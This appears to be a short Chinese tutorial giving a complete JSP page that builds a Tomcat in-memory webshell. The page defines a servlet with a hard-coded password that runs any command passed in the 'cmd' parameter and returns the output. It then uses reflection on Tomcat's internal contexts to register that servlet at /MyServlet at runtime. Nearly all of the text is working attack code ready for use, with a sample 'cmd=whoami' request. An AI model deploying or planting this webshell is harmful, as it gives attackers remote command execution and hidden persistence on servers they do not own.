利用JSP动态注册Servlet

  1. 引入对应版本的tomcat-catalina包


     org.apache.tomcat
      tomcat-catalina
      10.1.6
  1. 新建一个JSP页面并写入以下内容

<%@ page contentType="text/html;charset=UTF-8" language="java" %>


  首页


<%!
  //RCE Servlet
  //http://localhost:8080/MyServlet?pwd=123456&cmd=whoami
  public class MyServlet extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws java.io.IOException {
      java.io.PrintWriter out = response.getWriter();
      try {
        if ("123456".equals(request.getParameter("pwd"))) {
          response.setContentType("text/html;charset=UTF-8");
          response.setCharacterEncoding("UTF-8");
          java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
          int a = -1;
          byte[] b = new byte[2048];
          out.print("
");
          while ((a = in.read(b)) != -1) {
            out.println(new String(b));
          }
          out.print("
"); } } catch (Exception e) { out.print("Hello World!"); } } } %> <% try { //动态注册Servlet ServletContext servletContext = request.getServletContext(); java.lang.reflect.Field appcationContextField = servletContext.getClass().getDeclaredField("context"); appcationContextField.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) appcationContextField.get(servletContext); java.lang.reflect.Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) standardContextField.get(applicationContext); //注册进Servlet org.apache.catalina.Wrapper wrapper = standardContext.createWrapper(); wrapper.setServletClass(MyServlet.class.getName()); wrapper.setName("MyServlet"); wrapper.setServlet(new MyServlet()); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/MyServlet", "MyServlet"); } catch (Exception e) { out.print("Hello World!"); } %>

你可能感兴趣的:(java,tomcat)